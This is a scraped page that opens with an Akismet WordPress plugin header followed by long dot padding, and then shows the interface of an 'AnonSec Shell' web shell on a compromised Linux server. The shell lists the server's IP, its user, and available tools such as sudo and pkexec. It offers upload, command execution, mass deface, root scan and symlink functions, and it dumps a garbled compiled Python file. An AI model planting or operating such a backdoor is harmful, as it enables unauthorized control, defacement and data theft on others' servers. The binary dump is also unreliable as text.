#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager//release.pyc
�
L��ec@`sHddlmZmZmZddlZddlZddlZddlZddlm	Z	ddl
mZddlZ
ddlmZddlmZddlmZddlmZeje�Ze
jj�Zd	efd
��YZdefd��YZd
efd��YZ defd��YZ!defd��YZ"dS(i(tprint_functiontdivisiontabsolute_importN(tssl(tNoValidEntitlement(t	injection(tlisting(trhelproduct(tugettexttMultipleReleaseProductsErrorcB`seZd�Zd�ZRS(cC`sR||_djg|D]}|j^q�|_tt|�jd|j�dS(Ns, sJMore than one release product certificate installed. Certificate paths: %s(tcertificatestjointpathtcertificate_pathstsupert
ValueErrort__init__(tselfR
tcertificate((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyR*s	(cC`s0td�djg|jD]}|j^q�S(NsQError: More than one release product certificate installed. Certificate paths: %ss, (t_RR
R(RR((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyttranslated_message0s	(t__name__t
__module__RR(((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyR	)s	tContentConnectionProvidercB`seZd�ZRS(cC`sdS(N((R((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyR6s(RRR(((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyR5stReleaseBackendcB`seZd�Zd�ZRS(cC`s|j�}|j�S(N(t_get_release_version_providertget_releases(Rtprovider((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyR<scC`s t�}|j�r|St�S(N(tApiReleaseVersionProvidert
api_supportedtCdnReleaseVersionProvider(Rtrelease_provider((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyR@s	(RRRR(((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyR:s	RcB`s,eZd�Zd�Zd�Zd�ZRS(cC`s.tjtj�|_tjtj�|_dS(N(tinjtrequiretCP_PROVIDERtcp_providertIDENTITYtidentity(R((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyRIscC`s|j�jd�S(Ntavailable_releases(t_conntsupports_resource(R((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyRMscC`s|j�j|jj�S(N(R'tgetAvailableReleasesR%tuuid(R((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyRPscC`s
|jj�S(N(R#tget_consumer_auth_cp(R((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyR'Ss(RRRRRR'(((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyRGs			RcB`s,eZd�Zd�Zd�Zd�ZRS(cC`sUtjtj�|_tjtj�|_tjtj�|_|jj�|_	dS(N(
R R!tENT_DIRtentitlement_dirtPROD_DIRtproduct_dirR"R#tget_content_connectiontcontent_connection(R((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyRYsc	C`sg}t�}|jj�}xj|D]b}||}|j}xF|D]>}tj|�}|j�rE|j|�|j|�qEqEWq%Wt	|�dkr�t
jd�gSt	|�dkr�td|��n|d}	|j
j|	j�}
|j
j�}|
j|�g}t�}
x�|
D]�}|j}xs|D]k}|jsNq9n|j|	j|j�r9|j|j�}|j|�|
j|j|j�f�q9q9Wq#Wg}tt|��}x�|D]�}y|jjd|d|
�}Wn>tjt j!j"j#t$j%t&fk
r0}t
j'|�q�nX|s=q�nt(j)dt*|��}||j+�}q�Wtt|��}|S(Nis(No products with RHEL product tags foundiR
Rtent_cert_key_pairstdata(,tsetR/tget_installed_productstproductsRtRHELProductMatchertis_rheltappendtaddtlentlogtdebugR	R-tlist_for_producttidtlist_with_sca_modetextendtcontenttenabledt_is_correct_rhelt
provided_tagst
required_tagst_build_listing_pathturlRtkey_pathtsortedR1tget_versionstsocketterrortsixtmovesthttp_clientt
HTTPExceptionRtSSLErrorRt	exceptionRtListingFiletstrR(Rtrelease_productsR
tinstalled_productstproduct_hashtproduct_certR6tproducttrhel_matchertrelease_producttentitlementstsca_entitlementstlistingsR2tentitlementtcontentsRBtlisting_pathtreleasesR3tetver_listingtreleases_set((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyR_sf	

	




	
	
	
'



cC`s$|jdd�}|d}d|S(Ns$releaseveriiu
%s/listing(tsplit(Rtcontent_urlt
listing_partstlisting_base((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyRG�s
cC`s�t|tj�st�t|tj�s2t�x�|D]�}|jdd�}|ddkr9x\|D]Q}|jdd�}|ddkr�qhn||kr�tS|j|�rhtSqhWq9q9Wtjddj	|�dj	|�f�t
S(Nt-iitrhelsUIgnoring content with tags [%s] because it does not match installed product tags [%s]t,(t
isinstanceRNtstring_typestAssertionErrorRgtTruet
startswithR<R=RtFalse(Rtproduct_tagstcontent_tagstproduct_tagt
product_splittcontent_tagt
content_split((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyRD�s"

	(RRRRRGRD(((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyRWs		U	(#t
__future__RRRtloggingRLRNtsix.moves.http_clientt
rhsm.httpsRtrhsm.connectionRtrhsm.configtrhsmtsubscription_managerRR RRtsubscription_manager.i18nRRt	getLoggerRR<tconfigt
initConfigtcfgRR	tobjectRRRR(((sB/usr/lib64/python2.7/site-packages/subscription_manager/release.pyt<module>s$


Anon7 - 2022
AnonSec Team